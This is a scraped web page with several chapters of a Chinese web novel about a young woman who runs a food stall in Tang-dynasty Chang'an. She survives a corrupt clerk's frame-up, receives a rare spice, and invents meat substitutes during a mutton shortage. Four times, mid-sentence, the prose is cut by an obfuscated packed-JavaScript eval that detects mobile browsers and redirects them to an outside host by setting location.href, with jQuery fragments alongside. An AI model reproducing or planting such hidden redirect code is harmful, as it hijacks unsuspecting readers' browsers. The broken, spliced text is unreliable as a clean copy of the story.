“你胡说！”邹娘子气得脸色发白，脱口而出，“我们的米豆都是最好的！水是每日新挑的井水！” “放肆！”王录事厉声呵斥，“本官问话，岂容你插嘴！” 他身后吏役立刻上前一步，气势逼人。 沈知意拦住激动的邹娘子，心中怒火翻腾，却知此刻绝不能乱。 她目光扫过王录事那闪烁的眼神和其身后几个明显是生面孔、神色凶狠的吏役，心中已然明了。 这绝非寻常巡査，而是精心策划的构陷。 目的就是要借施粥之事，彻底搞臭搞垮沈记食肆！ “王录事，”她声音清晰，压过嘈杂，“举告也需凭证。我店中所有米豆食材，采购皆有账目，熬粥过程众人皆可见。是否以次充好，是否用水不洁，一验便知。还请录事明察。” “哼！自然要查！”王录事冷笑一声，“来人！将店中所有米面粮油，全部查封查验！还有那施粥的大缸，一并抬走检验！” 他身后那几个生面孔吏役立刻如狼似虎地就要动手翻检，甚至直接走向那几口正在施粥的大缸，欲将其抬走。 一旦让他们抬走，往里面随便撒点东西，便是铁证如山。沈记立刻万劫不复。 排队领粥的民众顿时骚动起来，他们刚喝了粥，若真是霉米脏水……恐慌和愤怒的情绪开始蔓延。 “不能抬！”福伯急得拦住缸前，“粥是好的！你们不能……” “老东西滚开！” 一个吏役粗暴地推开福伯。 大牛和栓子见状，也红了眼，想要上前理论。 现场一片混乱，眼看就要失控。 突然，一个清冷沉稳的声音自人群外响起： “王录事，好大的官威啊。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16452278|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 众人循声望去，只见苏晏清一袭青袍，不知何时已站在风雪中，面色平静，目光却如冰刃般落在王录事身上。 他身旁还跟着那位秘书省李府的采办管家。 王录事脸色骤变，显然没料到苏晏清会在此刻出现，腰杆下意识弯了几分：“苏、苏录事……您、您怎么来了？卑职正在依法巡査……” “依法？” 苏晏清缓步上前，扫了一眼那几口粥缸和李府管家。 “依的哪条法？腊八施粥，乃圣人都嘉许的善举。李府老夫人今日还特意吩咐管家，来此取些沈记熬制的腊八粥回府。王录事却要将其作为赃物抬走检验？莫非是怀疑李府老夫人的品味，还是觉得这粥中真有蹊跷？” 李府管家也上前一步，面色不豫：“王录事，这粥，我家老夫人可是点名要的。你若抬走，老夫回去如何交代？” 王录事额头瞬间冒出冷汗。 他敢欺沈知意孤弱，却绝不敢同时得罪苏晏清和李府。 尤其这腊八节关口，若真闹出阻拦善举、冲撞官眷的罪名，他这小小录事也吃罪不起！ “这……卑职不敢！卑职不敢！” 他连忙摆手，脸上挤出比哭还难看的笑容。 “既是李老夫人赏识，那定然是极好的！是卑职……卑职误信小人谗言！误会！都是误会！” “误会？”苏晏清声音微扬，“既是误会，那便查清楚这‘谗言’从何而来，以免日后再生事端，扰了西市清静，王录事以为如何？” 王录事汗如雨下，连声道：“是是是！卑职一定严查！严查！” 他再不敢多留，狠狠瞪了身后那几个不知所措的吏役一眼，灰溜溜地带着人挤开人群，狼狈离去。 一场惊天风波，顷刻间消弭于无形。 排队领粥的民众松了口气，纷纷议论，看向沈记食肆的目光更多了几分感激与信任。 店内的食客也安下心来。 沈知意心中巨石落地，连忙向苏晏清和李府管家深深行礼：“多谢苏录事。多谢管家仗义执言。” 苏晏清虚扶一下，目光掠过她略显苍白的脸，温声道：“举手之劳。小娘子安心施粥便是。” 他又对李府管家点头示意，并未多留，转身翩然离去。 李府管家笑道：“小娘子莫客气，老夫人的粥……” “早已备好！早已备好！”沈知意连忙让邹娘子将一早准备好的腊八粥奉上。 管家接过，付了钱，也告辞离去。 施粥继续，食肆生意也恢复了热闹，甚至比之前更好了些。 直到傍晚，雪停了，施粥的米缸见了底，食客也逐渐散去。 沈知意才真正松了口气，只觉得浑身疲惫不堪。 她看着正在收拾残局的福伯、邹娘子和大牛栓子，心中感慨万千。今日若非苏晏清恰巧出现，后果不堪设想。 她心中那根弦却并未放松。 王录事今日虽退，但其背后之人绝不会罢休。 腊八节他们敢如此明目张胆地构陷，下一次，不知又会使出什么更阴毒的手段。 夜色渐浓，寒风再起。 沈知意拢了拢衣襟，目光投向窗外沉沉的夜色。 这长安城的冬日，似乎越来越冷了。 27. 第 27 章 王录事带着人灰溜溜撤走，围观的人群渐渐散去，只留下沈记食肆门前一地狼藉的雪水和几口空空如也的粥缸。 沈知意站在棚下，寒风卷着雪沫扑打在脸上，她却感觉不到冷，只觉得后背一层冷汗被风一激，透心的凉。 方才那一刻，若是苏晏清晚来半步，或是李府管家未曾恰好前来取粥，后果不堪设想。 “六娘……没事了，没事了。” 福伯颤巍巍地走过来，声音还带着后怕的哆嗦，老脸上满是劫后余生的庆幸。 邹娘子更是腿软得几乎站不住，扶着案台，看着重新排起队、眼巴巴等着施粥的穷苦人，眼圈又红了，不知是吓的还是气的。 大牛和栓子两个年轻小伙也是心有余悸，喘着粗气，警惕地瞪着市署吏员消失的街口，仿佛那些人还会杀个回马枪。 “收拾一下，继续施粥。” 沈知意深吸一口气，压下心头的惊悸与怒火，声音尽量平稳。 “莫让真心来领粥的人寒了心。” 她率先动手，将翻倒的条凳扶起，擦拭案台。 众人见她如此，也纷纷定下神来，重新忙碌起来。 热粥再次舀出，香气重新弥漫，领粥的人群渐渐恢复了秩序，只是气氛到底不如先前轻松，多了几分沉默与揣测。 这一日的施粥，直到午后申时才勉强结束。 带来的米豆耗尽，排队的人群方才渐渐散去。 食肆内的生意也因这场风波受到了影响，午市比平日冷清了不少。 打烊之后，几人围坐在尚有余温的灶台边，皆是疲惫不堪，沉默良久。 “六娘……”福伯终于忍不住，声音沙哑地开口，“今日这事……分明是那张胖子和虎爷勾结王录事，故意来找茬！他们这是往死里逼我们啊！” 邹娘子闻言，猛地一抖，紧紧搂住身旁昏昏欲睡的阿宝，脸上血色尽失。 沈知意抿紧嘴唇，目光扫过众人惊惶不安的脸，心中那股压抑的怒火再次升腾。 她知道福伯说得没错。对方一计不成，又生毒计，而且一次比一次狠辣，一次比一次明目张胆。 腊八节当众构陷，这是要彻底毁了沈记的名声，让她永无翻身之日！ “他们敢如此肆无忌惮，无非是欺我们无根无基。” 沈知意声音低沉，却带着一股冷硬的决心。 “但我们也不是任人拿捏的软柿子。今日他们没能得手，反而暴露了与市署胥吏勾结的底细。苏录事和李府那边，也等于是表明了态度。他们短期内，应当不敢再动用官面上的力量明目张胆地打压。” “可、可他们要是再来阴的呢？” 邹娘子颤声问，眼中满是恐惧。 “就像……就像对阿宝那样……” “所以，我们不能坐以待毙。” 沈知意站起身，目光锐利。 “我们要让他们知道，动我们，代价他们付不起！” 如何让他们付不起代价？ 唯有变得更强，更有价值，更有依仗。 接下来的日子，沈知意将全副精力都投入了食肆的经营和新品的打磨上。 炭价依旧高昂，但“拨霞供”暖锅的生意却愈发火爆。 这围炉而坐、自涮自食的吃法，因其新奇暖和又能自由搭配荤素，极受畏寒的食客欢迎。 尤其是那些呼朋引伴而来的行商和小吏，往往一坐便是小半个时辰，连带酒水和其他小菜的销量也上去了。 沈知意不断改良汤底，推出了麻辣、菌菇、番茄等多种口味，又增加了鱼片、鸡胗、鸭血、各式鲜蔬等涮品。甚至琢磨着将“胡麻髓饼”切成小块，放入锅中略煮，吸饱汤汁后别有一番风味。 小小的泥炉暖锅，竟被她做出了花样百出的感觉，利润也颇为可观，有效缓解了炭贵的压力。 与此同时，送往李府的每日羹汤也从未间断。 沈知意更是用心，不时变换花样，今日是健脾养胃的山药薏米粥，明日是润燥止咳的银耳雪梨羹，后日又是安神补血的桂圆红枣茶…… 深得老夫人欢心，赏赐也越发丰厚。 这条线，如今已是沈记食肆至关重要的护身符之一。 她还暗中让福伯多加留意西市的人情往来，该打点的杂役小吏，绝不吝啬银钱，不求他们偏帮，只求在关键时刻能通风报信或秉公办理。 市井之中，些许银钱开道，往往能省去许多麻烦。 表面的平静之下，暗流依旧汹涌。 张记蒸饼铺依旧门庭冷落，张胖子那张肥腻的脸上，阴郁之气日盛，偶尔瞥向沈记的眼神，怨毒得几乎要滴出水来。 有两次打烊后，邹娘子慌慌张张地跑来，说似乎看到黑蝎子手下的人在巷口晃悠，虽未靠近，却足以让人心惊肉跳。 阿努也悄悄来过两次，带来些零碎消息，说虎爷那边似乎因腊八失手折了面子，被对头嘲笑了几句，正憋着一股邪火，怕是还会有动作。 沈知意心中警醒，知道对方绝不会善罢甘休。 他们在等待，等待一个更好的时机，或者，在酝酿更毒辣的计策。 这日午后，雪后初霁，阳光难得明媚。 食肆内坐满了享用“拨霞供”的客人，几口泥炉炭火正旺，汤滚菜翻，香气四溢，气氛热闹驱散了冬日的寒意。 沈知意正忙着为一位熟客调配新的蘸料，忽见店门口光线一暗，一个高大的身影挡住了阳光。 她抬头望去，微微一怔。 只见艾山站在门口，依旧是一身半旧胡服，风尘仆仆，眉宇间带着一丝远行归来的疲惫，浅褐色的眼眸扫过店内热闹的景象，最后落在她身上。 “艾山大哥？”沈知意连忙净手迎上前，“您回来了？” 艾山点点头，目光在她脸上停顿一瞬，声音依旧低沉平淡：“嗯。路过。生意不错。” “托您的福。” 沈知意真心笑道，若不是他当日出手，阿宝之事不堪设想。 “快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459118|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请进来坐，喝碗热汤暖暖身子。” 艾山并未推辞，迈步进来，在角落一张空桌旁坐下。 他身形高大，气质冷峻，与这喧闹温暖的食肆显得有些格格不入，引来不少食客好奇的目光。 沈知意亲自盛了一碗刚熬好的菌菇鸡汤，又切了一盘嫩羊肉片，调了一碟香辣的蘸料，一并送过去。 “艾山大哥，尝尝小店新弄的暖锅。天冷，正好驱寒。” 艾山看着面前翻滚着热气的汤锅和薄如蝉翼的肉片，眼中闪过一丝不易察觉的讶异，随即拿起筷子，依样涮了一片羊肉，蘸料送入口中。 咀嚼片刻，他点了点头：“香。暖。” 虽只两个字，但沈知意知他性子，这已是极高的评价了。 她笑道：“您喜欢就好。” 见他似有倦色，便不再多扰，自去忙了。 艾山独自坐在角落，安静地吃着暖锅，速度不慢，动作却依旧带着一种奇异的沉稳。他吃得极为专注，仿佛周遭的喧闹都与他无关。 直到他将锅中食材尽数吃完，汤也喝了大半，这才放下筷子。 沈知意正要过去收拾，却见他起身走了过来。 “多少银钱？” 他问。 “艾山大哥说哪里话，这顿我请。”沈知意连忙道。 艾山却摇摇头，从怀中摸出一个小布包，放在案上，声音依旧平淡。 “这个。抵饭钱。” 沈知意一愣，打开布包，里面竟是几块色泽深褐、形状不规则、散发着浓郁奇异香气的块状物。 她仔细一看，不由吃了一惊：“这是……香料？” “嗯。” 艾山点头。 “西边带来的。炖肉，好。” 沈知意拿起一块闻了闻，那香气辛烈醇厚，带着一丝隐约的甜味和烟熏气，是她从未闻过的异域奇香。 她心中一动，这莫非是…… “多谢艾山大哥！” 她连忙道谢，这绝对是珍贵之物。 艾山摆摆手，不再多言，转身便朝店外走去。 走到门口，他脚步微顿，侧过头，似乎随意地说了一句。 “近日，莫去东市牲口市那边。” 说完，他身影一闪，便融入门外街道的人流中，消失不见。 沈知意捏着那几块奇异的香料，站在原地，心中却因他最后那句话掀起了波澜。 莫去东市牲口市？那是虎爷势力盘踞之处。 艾山突然归来，特意来店中，留下这珍贵香料，又突兀地留下这句警告…… 绝非偶然。 他定是听到了什么风声。虎爷那边，恐怕真的要有什么大动作了。而且，极可能就与东市牲口市有关。 沈知意的心猛地提了起来，方才因生意好转而生的些许轻松瞬间荡然无存。 她快步走到门口，望向艾山消失的方向，街市熙攘，阳光正好，却仿佛有无形的寒意正从四面八方悄然围拢过来。 28. 第 28 章 艾山留下的那几块深褐色、散发着奇异浓香的香料，被沈知意小心翼翼地收在干燥的陶罐里。 她虽不认得此物具体为何，但凭其馥郁辛烈、层次复杂的香气，便知绝非寻常之物，价值不菲。 艾山大哥以此抵一顿饭钱，显然是刻意相助。 而他最后那句看似随意的警告，更如同警钟，在她心头重重敲响。 东市牲口市，那是虎爷的地盘。 艾山特意提醒，绝非空穴来风。 接下来的几日，沈知意格外警惕。 她减少了外出采买的次数，即便出去，也必定让大牛或栓子陪同，且绝不靠近东市方向。 食肆内，她也再三叮嘱福伯和邹娘子，对所有上门的陌生人多加留意，尤其是打听东市或牲口行当的人。 不过预想中的风暴并未立刻降临。 西市依旧熙攘，沈记食肆的生意因“拨霞供”暖锅的火爆而愈发红火，每日进项颇为可观。 送往李府的羹汤也得了老夫人几句夸赞，赏赐又厚了几分。 表面看来，一切风平浪静。 但这反常的平静，反而让沈知意心中那根弦绷得更紧。她知道，虎爷和张胖子绝不可能就此罢手。 不能坐以待毙。 必须更快地提升食肆的实力和名声，让旁人不敢轻易动她。 这日，她取出艾山所赠的香料，取了一小块，在干净的陶钵中细细研磨。香料质地坚硬，费了好些力气才研成深红色的细粉。 刹那间，一股极其霸道、混合了烟熏、木质、辛烈与隐约果香的复杂气息爆发开来，瞬间弥漫了整个灶间，甚至盖过了锅中翻滚的骨汤香气。 “嚯！这是什么香？这般冲鼻！” 福伯被呛得连打两个喷嚏，好奇地凑过来。 邹娘子也掩着鼻子，眼中露出惊异之色。 沈知意心中亦是震动。 这香气太过独特强烈，若用于烹饪，味道定然极其出众。 她小心地拈起一点粉末，舌尖微尝，一股灼热感瞬间蔓延，随后是复杂的辛香与微妙的甘甜回味。 是了！ 这定是某种极其珍贵的异域香料，或许正适合用来烹制肉类，尤其是羊肉！ 她立刻让福伯去肉铺，不惜重金买回一条最好的羊肋排。 羊肉性温，最宜冬日。 将羊排洗净，斩成寸段，用姜片、葱段、盐和少许胡荽籽粉腌制片刻。另起一锅，加入清水、少许酒和拍破的姜块，将腌好的羊排冷水下锅，煮沸撇去浮沫，捞出沥干。 锅中放少许油，下入葱姜爆香，再放入焯过水的羊排，小火慢煎，直至表面金黄，油脂溢出。 接着，她舀入一大勺每日熬煮的浓郁骨头高汤，又加入少许饴糖和酱油调色增鲜。 最关键的一步来了。她取来那研磨好的香料粉，斟酌着分量，小心地撒入锅中。 深红的粉末一遇热油，瞬间爆发出难以形容的复合香气，辛香、烟熏气、果木香……层层叠叠，霸道地席卷开来，将先前的肉香完全包裹、融合、提升！ “嗷！香！真他娘的香！” 隔壁铁匠铺的张大叔正巧路过，被这香气勾得猛地停下脚步，扒着门框使劲吸鼻子。 “六娘！你又弄啥好东西了？这味儿……够劲！” 店内几个正在吃暖锅的食客也纷纷停下筷子，好奇地张望过来。 沈知意心中暗喜，手下不停，将锅中羊排与汤汁翻炒均匀，使每一块肉都裹上那诱人的酱色和香料。然后盖上锅盖，转为小火慢炖，让滋味慢慢渗透进去。 炖煮期间，那奇异的香气不断从锅盖缝隙中逸出，越来越醇厚，越来越勾人，惹得路过的行人频频驻足，店内的食客更是坐立不安，不住地询问这是何新品，何时能尝。 约莫炖了半个时辰，汤汁已收得浓稠。 沈知意揭开锅盖，刹那间，一股更加浓郁奔放的异香伴随着蒸腾的热气扑面而来。锅中的羊排色泽红亮油润，汤汁紧紧包裹其上，咕嘟咕嘟地冒着细泡，诱人至极。 她将羊排捞出，撒上少许烤香的芝麻和切碎的胡荽叶点缀。 “新菜，‘胡风炙羊排’，四十文一份，今日试售，仅十份！” 沈知意朗声宣布。 “给我来一份！” “某也要！” “快快快！馋死某了！” 早已被香气勾得馋虫大动的食客们立刻蜂拥而上，十份羊排几乎是在瞬间被抢购一空。 第一个买到羊排的行商迫不及待地夹起一块吹了吹，放入口中。 只咀嚼了两下，他眼睛猛地瞪圆，脸颊迅速泛红，额角冒汗，含糊不清地嗷嗷直叫：“香！辣！过瘾！这味儿……绝了！从未吃过这般香的羊肉！” 其他人尝了，亦是赞不绝口。 那香料的威力实在惊人，彻底去除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463890|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了羊肉的膻气，只留下丰腴的肉香。而其本身复杂霸道的风味又与肉香完美融合，带来一种前所未有的、极具冲击力的味觉体验，令人食欲大开，浑身暖透，在这冬日里吃得畅快淋漓。 十份羊排很快售罄，后来者只能闻着空气中残留的勾人香气，扼腕叹息，纷纷预订明日务必留一份。 “胡风炙羊排”一炮而红。其独特的异域风情和强烈口感，迅速在西市传开，成为继“拨霞供”之后，沈记食肆又一道引人瞩目的招牌菜。 价格虽高，却供不应求，每日都能为食肆带来数百文的额外进项。 沈知意心中欣喜，却不敢多用那珍贵香料，每日只限量供应，且研磨时愈发小心，避免浪费。 她给这道菜起名“胡风”，既是贴合其风味，也暗含对艾山赠香之情的感念。 然而，生意越是红火，沈知意心中的不安却越是强烈。 艾山的警告如同悬顶之剑。 虎爷的势力盘踞东市牲口市，而自己这道新菜的主料正是羊肉…… 这其间，会不会有什么关联？ 这日傍晚，打烊之后，阿努又悄悄跑来，神色间带着一丝忧虑。 她压低声音，“六娘，我今日在酒肆，听几个东来的马贩子喝酒闲聊，说……说牲口市那边近日不太平，好像有人故意压价搅局，还……还死了几头牲口，像是中了什么毒……闹得几家大牲口行都人心惶惶的……” 牲口市……中毒……压价搅局…… 沈知意的心猛地一沉！ 难道虎爷他们的目标，并不仅仅是报复自己，而是想通过控制牲口市，来掐断西市诸多食肆的肉食来源？ 甚至……借此下毒，制造事端？ 若真如此，其用心之歹毒，谋划之深远，远超她的想象！ 她新推出的“胡风炙羊排”正需大量上好羊肉，若此时羊肉供应出了问题，或是被人做了手脚…… 沈知意背后瞬间沁出一层冷汗。 她立刻对阿努道：“阿努，多谢你告知！此事非同小可！还请帮忙多留意东市那边的消息，尤其是关于羊肉供应和价格的！” “你放心！”阿努重重点头，“我让我阿塔也帮忙打听！那些胡商消息灵通得很！” 送走阿努，沈知意站在渐暗的食肆中，只觉得一股寒意从脚底直窜上来。 原来，真正的杀招，藏在这里！ 她必须立刻行动！ 29. 第 29 章 阿努带来的消息，如同寒冬腊月里又一盆冰水，将沈知意心中因“胡风炙羊排”成功而燃起的些许暖意彻底浇灭。 虎爷的毒手恐怕早已越过针对她个人的寻衅报复，伸向了更上游更根本的地方：西市的肉食供应！ 若真如此，其图谋之深、手段之狠，远超她的想象。 这绝非仅仅为了搞垮她一家小店，而是妄图搅乱整个西市的肉行，从中渔利，甚至借此控制诸多依赖肉食的食肆酒楼！ 她新推出的“胡风炙羊排”，正需要大量稳定优质的羊肉供应，此刻无疑成了首当其冲的目标。 “福伯！” 沈知意立刻叫来老仆，声音带着一丝不易察觉的急促。 “明日一早，您立刻去相熟的肉铺，多订些上好的羊肋排和羊腿肉，就说……就说咱们冬日要备货，价钱可以略高一些，务必确保接下来三五日的用量！” 福伯见她神色凝重，不敢多问，连忙应下。 然而，次日清晨，福伯却空着手，脸色发白地跑了回来。 “六、六娘！不好了！” 他气喘吁吁，额上全是冷汗。 “肉铺……张记、李记好几家肉铺都说……都说这几日羊肉紧俏，拿不到好货！要么就是价钱翻了一倍还不止！还、还说……东市牲口市那边乱得很，好些羊贩子都不敢送货过来了，怕折本！这、这可如何是好？” 果然来了！沈知意心猛地一沉。 对方动作好快！而且手段精准狠辣，直接掐断了她的货源！ 即便她肯出高价，也未必能买到足够且安全的羊肉！ “胡风炙羊排”刚刚打响名头，每日都有熟客预订，若此时断供，不仅损失惨重，更会失信于人。 而且，若真如阿努所言，牲口市有中毒事件，那即便能买到羊肉，其安全性也令人担忧。 食肆内，已有熟客上门，笑呵呵地打招呼。 “小娘子，今日的炙羊排可备好了？某昨日没抢到，今日特意早早来了！” 沈知意强压下心中焦虑，挤出一丝笑容：“客官稍候，今日的羊排需多炖些时辰，滋味才足，请您晚些再来，必定给您留一份。” 那客人虽有些疑惑，但闻着店内依旧浓郁的骨汤香气，还是点头应了，先要了碗汤饼坐着吃起来。 打发走客人，沈知意脑中飞速旋转。 硬扛着高价收购羊肉绝非长久之计，且风险巨大。 必须立刻找到替代方案！ 羊肉……羊肉……若无羊肉，何以承“胡风”之名？又如何满足那些被吊足了胃口的食客？ 她的目光扫过灶台，落在那盆昨日熬煮高汤撇出的，已然冷凝成乳白色膏状的猪油上，又瞥见墙角那几袋价格稳定供应无忧的各式豆子…… 一个大胆的念头骤然划过脑海——以素托荤！ 唐代佛教盛行，素食文化已有相当基础，长安城中亦有专营素食的餐馆，但多仿制荤食形态，如“素鸡”、“素鸭”等。 她何不借此机会，用豆类为主料，尝试制作一道口感风味足以媲美甚至超越肉食的“素羊排”？ 既能应对眼前的断供危机，又能开辟一条新的路子，或许还能吸引那些茹素或崇尚清淡的食客！ 事不宜迟！她立刻让福伯去粮铺买回上好的黄豆、绿豆和少量价格昂贵的西域鹰嘴豆。又让邹娘子将各种豆子分别淘洗干净，用清水浸泡。 她自己则取来石磨，将泡发的豆子细细研磨成浆，滤去豆渣，得到极其细腻的豆浆。又将豆浆缓缓倒入大锅中，文火慢煮，不断搅拌，直至豆浆表面凝结出一层薄薄的“豆衣”。 她小心地将豆衣挑起，晾在竹竿上。 如此反复，积累了厚厚一叠。 接着，她取来香菇、笋干、口蘑等鲜物，泡发后切成极细的碎末，用素油炒香，加入盐、酱油、饴糖和少量她自制的用豆豉和香料仿制的“素肉酱”，调成滋味浓郁的馅料。 然后，她将晾至半干的豆衣铺平，抹上馅料，一层层叠起，卷成粗如儿臂的卷状，再用干净的细麻绳紧紧捆扎定型，使其内部结构紧实，外形近似肋排。 最后，将捆扎好的“素排”放入蒸笼，大火蒸制小半个时辰，使其彻底定型成熟，并让馅料的鲜香充分渗透入豆衣之中。 蒸好的“素排”取出，解开麻绳，只见其色泽微黄，层层叠叠，纹理竟真有几分类似肌肉纤维。 沈知意取过一柄薄刃快刀，将其切成寸段，断面层次分明。 最关键的一步来了——炙烤！ 她将素排段刷上薄薄一层用饴糖、酱油和香料调制的酱汁，置于炙炉余火上，小心翻烤。 豆衣遇热，表面渐渐变得焦黄酥脆，酱汁渗入，发出“滋滋”的声响，散发出混合了豆香、菌菇鲜香和烤炙焦香的复杂气味。 虽无肉香，却别有一番诱人风味。 最后，她撒上孜然粉、辣椒面和炒香的芝麻。 一盘色泽焦黄、热气腾腾、散发着奇异香气的“素雪凝脂”便做好了。 其形粗似羊排，口感外焦里韧，咀嚼间豆香与菌鲜交织，竟真有几分吃肉的口感与满足感，风味却更为清爽独特。 “这……这是何物？” 福伯和邹娘子看得目瞪口呆，他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468825|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从未见过如此精巧的素菜。 沈知意自己尝了一块，眼睛一亮。 成功了！虽与真羊肉风味迥异，但其口感和味道的层次感、满足感，足以令人惊艳！ 她立刻让福伯挂出新牌：“新荐‘素雪凝脂’，取法自然，清鲜不腻，三十文一份，每日限十份试售。” 牌子刚挂出，便引来食客好奇。 “素雪凝脂？这是何物？看着倒像肉？” “小娘子，今日不卖炙羊排了？” 沈知意笑着解释：“今日新试的素馔，用料讲究，风味独特，诸位不妨尝尝鲜。” 有熟客出于对沈知意手艺的信任，率先点了一份。 待那形色诱人、香气奇特的“素排”端上桌，迟疑地尝了一口，顿时面露惊异：“唔！妙啊！竟有这般滋味！口感韧香，鲜味十足！竟真不输肉食！” 有人带头，很快便有人跟进尝试。 这新奇的口感和健康的寓意，很快便吸引了不少食客，尤其是几位平日便偏好清淡的文人老者，尝后更是赞不绝口，称其“清而不寡，鲜而有致”。 十份“素雪凝脂”很快售罄，竟也收获了不错的口碑。 然而，沈知意心中清楚，这“素雪凝脂”工艺繁复，成本不低，产量有限，终究难以完全替代“胡风炙羊排”的地位，更无法满足所有食客对肉食的渴望。 它只是一时的权宜之计，暂缓了眼前的危机。 真正的麻烦，依然悬而未决——羊肉的稳定供应！ 傍晚打烊后，阿努又匆匆跑来，脸色不太好看。 “六娘，我问过了，东市牲口市那边乱子还没平息，好像……好像还牵扯到了市署的某个什么吏员，说是查案……反正现在好点的羊肉根本过不来西市！价格贵得吓人不说，还怕不干净！” 沈知意的心彻底沉了下去。 对方能量之大，竟能影响到市署层面。这已绝非寻常市井恶霸的手段。 她看着灶台上那罐所剩无几的珍贵香料，又想起艾山那句警告和悄然离去的身影。 艾山大哥……他定然知道更多内情。 他留下这香料，是否不仅仅是为了帮她，也是一种暗示？ 这香料与东市牲口市的乱局，是否也有某种关联？ 夜色渐深，寒意刺骨。 沈知意独自站在寂静的食肆中，望着窗外漆黑一片的街道，只觉得一股巨大无形的网正在悄然收紧，而她与这小小的食肆，似乎已成了网中挣扎的猎物。 必须尽快找到破局之法。 否则，下一次到来的，恐怕就不仅仅是断供这般简单了。 30. 第 30 章 艾山留下的神秘香料，如同一个未解的谜团，萦绕在沈知意心头。 这日打烊后，沈知意取出那盛放香料的陶罐，又倒出少许深红粉末于掌心，借着油灯的光亮仔细端详。 颗粒细腻，色泽深沉，嗅之辛烈醇厚，带着一丝隐约的烟熏与果木甜香。她尝试用舌尖极小心地沾了一点，那股灼热感与复杂的回味再次袭来。 这香气似乎与她前世在某家顶级西域餐厅尝过的一种名为“马萨拉”的综合香料有些许神似，却又更为原始、粗犷、霸道。 莫非是某种尚未在中原广泛流传的西域古方秘料？ 她心中一动，想起阿努家是胡商，或许见识广博。 次日午后，趁阿努来取髓饼时，沈知意悄悄拉她到一旁，将那小罐香料示于她看。 “阿努，你可见过此种香料？” 阿努好奇地凑近，碧眼睁得溜圆，用力嗅了嗅，眉头却皱了起来。 “咦？这味道好生特别！又香又冲…有点像我们那边烤肉用的‘孜然葛什’，但又不太一样，更…更烈些！” 她摇摇头，“我没见过这种。不过我可以回去问问阿塔，他走的地方多，见识广！” “有劳你了。” 沈知意心中微感失望，却也不意外。 若真是寻常之物，艾山也不会特意留下。 阿努办事爽利，隔日便带来了回音。 她拉着沈知意，压低声音道：“我问过阿塔了！他说这香料极其罕见，像是更西边靠近大雪山那边部落里才用的秘方，叫什么‘卡瓦辛’！是用来祭祀和招待最尊贵客人的！据说能祛寒辟邪，味道极霸道，寻常人受不住！艾山大哥从哪里弄来的？这可金贵得很！” 卡瓦辛？大雪山部落？祭祀所用？ 沈知意心中震撼。艾山所赠，竟如此不凡。他将此物留给自己，究竟是何深意？难道仅仅是为了让她烹制羊肉？ 联想到东市牲口市的乱局和中毒传闻，一个模糊的念头在她脑中闪过——这香料气味如此独特霸道，是否对某些牲畜或虫蚁有特殊的驱避或吸引作用？甚至能与某些毒物产生反应？ 她不敢深想，只觉得手中这罐香料愈发沉重。 艾山的警告绝非空穴来风，他留下此物，或许真是在暗示什么。 当下，她将香料重新仔细收好，不敢再轻易示人，心中对东市那边的警惕又提高了十分。 与此同时，“素雪凝脂”的试售反响不错，但沈知意并不满足。 豆衣仿制的“素排”虽巧，但口感与真肉终究有别，且制作极其繁琐，产量有限，难以大规模推广。 必须找到更高效、更逼真的替代方案。 她将目光再次投向了豆类。 既然豆衣可成型，那更为细腻的豆制品呢？ 她尝试将过滤后的豆浆加入少许石膏粉，试图点制更为紧实的豆腐，但效果并不理想，唐代的豆腐技法尚显粗糙，难以达到她想要的紧实弹牙口感。 几经试验，她最终将目光锁定在“面筋”上。 唐代已有洗面筋的技艺，称为“麸筋”，但多用于制作素食或作为肉食的填充辅料，并未成为主流。 她取来上好的小麦粉，加水和成光滑面团，置于盆中，不断揉搓、抓洗，洗出淀粉，留下黏稠富有弹性的面筋团。将此面筋团蒸熟或煮熟后，其口感韧弹，极似瘦肉。 “就是它了！”沈知意心中大喜。 她将洗好的面筋揉入少许盐和自制的素高汤粉，增加底味。 然后将其缠绕在削薄的竹签或细木棍上，塑成条状或小块状，蒸煮使其定型，再取下竹签，便得到了外形近似鸡丝、肉条或小肉块的“素肉”。 以此法制作的“素肉”，口感远比豆衣更为接近真肉，且可批量制备，效率大大提高。 